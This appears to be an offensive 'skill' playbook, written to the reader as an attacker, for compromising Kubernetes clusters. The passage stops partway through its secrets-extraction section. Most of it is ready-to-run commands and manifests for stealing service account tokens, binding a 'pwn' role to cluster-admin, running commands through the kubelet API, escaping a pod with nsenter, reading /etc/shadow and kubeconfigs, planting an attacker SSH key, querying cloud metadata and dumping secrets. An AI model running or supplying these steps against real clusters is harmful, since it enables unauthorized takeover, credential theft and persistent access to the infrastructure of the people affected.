offensive-k8s-attacks

# Kubernetes Cluster Attacks You have access to a Kubernetes environment, either through a compromised pod, stolen kubeconfig, or exposed API server. Your objective is to escalate privileges, move laterally, and compromise the cluster or underlying cloud infrastructure. Kubernetes security depends on RBAC policies, network policies, admission controllers, pod security standards, and cloud IAM integration. Each misconfiguration opens a path to deeper access. This skill covers systematic enumeration, privilege escalation, secret extraction, and cluster-wide compromise techniques. ## Quick Workflow 1. Determine your initial position: pod shell, stolen token, exposed API, or kubeconfig file. 2. Enumerate service account permissions, cluster roles, and accessible resources. 3. Identify escalation vectors: RBAC gaps, kubelet exposure, hostPath mounts, cloud metadata access. 4. Escalate privileges by chaining misconfigurations or abusing overprivileged service accounts. 5. Extract secrets, pivot to other namespaces, and target the control plane. 6. Leverage cloud metadata or etcd access for infrastructure-wide compromise. --- ## Phase 1: Initial Enumeration ### Determining Your Position ```bash # Check if you are inside a pod ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null cat /var/run/secrets/kubernetes.io/serviceaccount/token cat /var/run/secrets/kubernetes.io/serviceaccount/namespace cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt # Environment variables set by Kubernetes env | grep -i kube env | grep -i kubernetes # Service host and port are injected into every pod echo $KUBERNETES_SERVICE_HOST echo $KUBERNETES_SERVICE_PORT # DNS resolution for API server nslookup kubernetes.default.svc.cluster.local # Determine if kubectl is available which kubectl 2>/dev/null # If not, use curl with the service account token ``` ### Setting Up API Access Without kubectl ```bash # Extract token and CA certificate TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt APISERVER="https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}" # Test API access curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \ ${APISERVER}/api/v1/namespaces # Shorthand function for repeated use k8s_api() { curl -s --cacert ${CACERT} -H "Authorization: Bearer ${TOKEN}" \ "${APISERVER}$1" } # Check your identity k8s_api "/apis/authentication.k8s.io/v1/tokenreviews" \ -X POST -H "Content-Type: application/json" \ -d "{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"TokenReview\",\"spec\":{\"token\":\"${TOKEN}\"}}" ``` ### Automated Enumeration Tools ```bash # kube-hunter - Kubernetes penetration testing tool kube-hunter --active --remote $APISERVER # peirates - Kubernetes penetration tool (run from within pod) ./peirates # kubeaudit - Audit Kubernetes clusters for security concerns kubeaudit all -f /path/to/kubeconfig # kdigger - Kubernetes-focused container assessment ./kdigger dig all # kubectl auth can-i - Check your permissions kubectl auth can-i --list kubectl auth can-i --list --namespace=kube-system kubectl auth can-i create pods kubectl auth can-i create pods/exec kubectl auth can-i get secrets kubectl auth can-i '*' '*' ``` --- ## Phase 2: Service Account Token Theft and Abuse ### Discovering Tokens ```bash # Default service account token mount cat /var/run/secrets/kubernetes.io/serviceaccount/token # Projected service account tokens (newer clusters) ls /var/run/secrets/kubernetes.io/serviceaccount/ # Files: token, ca.crt, namespace # Search for tokens in environment variables and config files env | grep -i token find / -name "kubeconfig" -o -name ".kube" -o -name "config" 2>/dev/null find / -name "*.kubeconfig" 2>/dev/null # Check mounted secrets in other pods (if you can list or exec) kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}: {range .spec.volumes[*]}{.secret.secretName} {end}{"\n"}{end}' # Look for tokens in etcd, configmaps, or environment variables kubectl get secrets -A kubectl get configmaps -A -o yaml | grep -i token ``` ### Token Impersonation ```bash # Use a stolen token to authenticate kubectl --token="$STOLEN_TOKEN" --server="$APISERVER" \ --certificate-authority="$CACERT" auth can-i --list # Impersonate a service account (requires impersonate verb) kubectl auth can-i impersonate serviceaccounts kubectl --as=system:serviceaccount:kube-system:default get secrets -n kube-system # Impersonate a user kubectl --as=admin@example.com get pods -A # Impersonate a group kubectl --as-group=system:masters --as=dummy get secrets -A ``` --- ## Phase 3: RBAC Misconfiguration Exploitation ### Identifying Dangerous Permissions ```bash # List all cluster roles and role bindings kubectl get clusterroles -o json | python3 -c " import json,sys data=json.load(sys.stdin) for role in data['items']: for rule in role.get('spec',{}).get('rules',[]): verbs=rule.get('verbs',[]) resources=rule.get('resources',[]) if '*' in verbs or '*' in resources: print(f\"DANGER: {role['metadata']['name']} - verbs:{verbs} resources:{resources}\") " # Check for wildcard permissions kubectl get clusterrolebindings -o json | python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: subjects = b.get('subjects',[]) or [] role = b.get('roleRef',{}).get('name','') for s in subjects: print(f\"{s.get('kind')}/{s.get('name')} -> {role}\") " # Find service accounts bound to cluster-admin kubectl get clusterrolebindings -o json | \ python3 -c " import json,sys data=json.load(sys.stdin) for b in data['items']: if b.get('roleRef',{}).get('name')=='cluster-admin': for s in (b.get('subjects') or []): print(f\"cluster-admin: {s.get('kind')}/{s.get('namespace','')}/{s.get('name')}\") " ``` ### Escalation via RBAC Gaps ```bash # If you can create role bindings, bind yourself to cluster-admin kubectl create clusterrolebinding pwn-binding \ --clusterrole=cluster-admin \ --serviceaccount=default:default # If you can create roles, grant yourself wildcard access cat <<'EOF' | kubectl apply -f - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: pwn-role rules: - apiGroups: ["*"] resources: ["*"] verbs: ["*"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: pwn-role-binding roleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: pwn-role subjects: - kind: ServiceAccount name: default namespace: default EOF # If you can patch existing bindings kubectl patch clusterrolebinding existing-binding -p \ '{"subjects":[{"kind":"ServiceAccount","name":"default","namespace":"default"}]}' # Escalate through escalate verb # The "escalate" verb on roles/clusterroles allows granting permissions # you do not have yourself kubectl auth can-i escalate clusterroles ``` --- ## Phase 4: Kubelet API Exploitation ### Accessing Kubelet Directly ```bash # Kubelet API runs on port 10250 (authenticated) and 10255 (read-only, deprecated) # Scan for kubelet ports across cluster nodes # Read-only port (10255) - no auth required if exposed curl -s http://NODE_IP:10255/pods | python3 -m json.tool curl -s http://NODE_IP:10255/spec/ curl -s http://NODE_IP:10255/metrics # Authenticated port (10250) - requires valid credentials # Use service account token or client certificate curl -sk https://NODE_IP:10250/pods \ -H "Authorization: Bearer ${TOKEN}" # List running pods on the node curl -sk https://NODE_IP:10250/runningpods/ \ -H "Authorization: Bearer ${TOKEN}" ``` ### Command Execution via Kubelet ```bash # kubeletctl tool for kubelet API interaction kubeletctl -s NODE_IP pods kubeletctl -s NODE_IP scan rce # Execute commands in pods via kubelet API directly (bypasses API server RBAC) curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME \ -H "Authorization: Bearer ${TOKEN}" \ -d "cmd=id" # Execute in every container on the node curl -sk https://NODE_IP:10250/runningpods/ \ -H "Authorization: Bearer ${TOKEN}" | \ python3 -c " import json,sys pods=json.load(sys.stdin) for pod in pods.get('items',[]): ns=pod['metadata']['namespace'] name=pod['metadata']['name'] for c in pod['spec'].get('containers',[]): print(f'{ns}/{name}/{c[\"name\"]}') " # Then exec into each one to extract tokens and secrets # Retrieve container logs curl -sk "https://NODE_IP:10250/containerLogs/NAMESPACE/POD/CONTAINER" \ -H "Authorization: Bearer ${TOKEN}" ``` --- ## Phase 5: Pod Escape via Privileged Configuration ### hostPID Escape ```bash # If the pod has hostPID: true, you see all host processes ps aux # Shows host processes # Access host filesystem via /proc/1/root ls -la /proc/1/root/ cat /proc/1/root/etc/shadow cat /proc/1/root/etc/kubernetes/manifests/kube-apiserver.yaml # nsenter into host namespaces nsenter -t 1 -m -u -i -n -p -- bash # Steal tokens from other pods' processes for pid in $(ls /proc/ | grep -E '^[0-9]+$'); do token=$(cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -i kube) if [ -n "$token" ]; then cmdline=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ') echo "PID $pid ($cmdline): $token" fi done ``` ### hostNetwork Escape ```bash # If the pod has hostNetwork: true, you share the host's network namespace ip addr show # Shows host network interfaces # Access services bound to localhost on the host curl -s http://127.0.0.1:10255/pods # Kubelet read-only curl -sk https://127.0.0.1:10250/pods # Kubelet API curl -s http://127.0.0.1:2379/version # etcd (if exposed) # Access cloud metadata from host network perspective curl -s http://169.254.169.254/latest/meta-data/ # AWS curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ # GCP curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" # Azure # Scan internal services for port in 443 8443 6443 2379 10250 10255 30000-32767; do timeout 1 bash -c "echo >/dev/tcp/127.0.0.1/$port" 2>/dev/null && echo "Port $port open" done ``` ### hostPath Volume Escape ```bash # If the pod mounts a hostPath volume, you can read/write host files # Common dangerous hostPath mounts: # / - full host filesystem # /var/run - container runtime sockets # /etc - host configuration # /var/log - host logs (may contain secrets) # /root - root home directory # Check what is mounted mount | grep -v overlay cat /proc/1/mountinfo # If / is mounted at /host cat /host/etc/shadow cat /host/etc/kubernetes/admin.conf cat /host/root/.kube/config # Write SSH key for host access echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys # Access Docker socket if mounted ls -la /host/var/run/docker.sock ``` ### Deploying a Privileged Pod ```bash # If you can create pods, deploy one with full host access cat <<'EOF' | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: pwn-pod namespace: default spec: hostPID: true hostNetwork: true containers: - name: pwn image: alpine command: ["/bin/sh", "-c", "sleep 3600"] securityContext: privileged: true volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory tolerations: - operator: Exists nodeSelector: node-role.kubernetes.io/control-plane: "" EOF # Wait for pod to be ready, then exec in kubectl exec -it pwn-pod -- nsenter -t 1 -m -u -i -n -p -- bash ``` --- ## Phase 6: Secrets Enumeration and Extraction ### Kubernetes Secrets ```bash # List all secrets across namespaces kubectl get secrets -A # Get specific secret content (base64 encoded) kubectl get secret SECRET_NAME -n NAMESPACE -o json # Decode all secrets in a namespace kubectl get secrets -n NAMESPACE -o json | python3 -c " import json,sys,base64 data=json.load(sys.stdin) for secret in data['items']: name=secret['metadata']['name']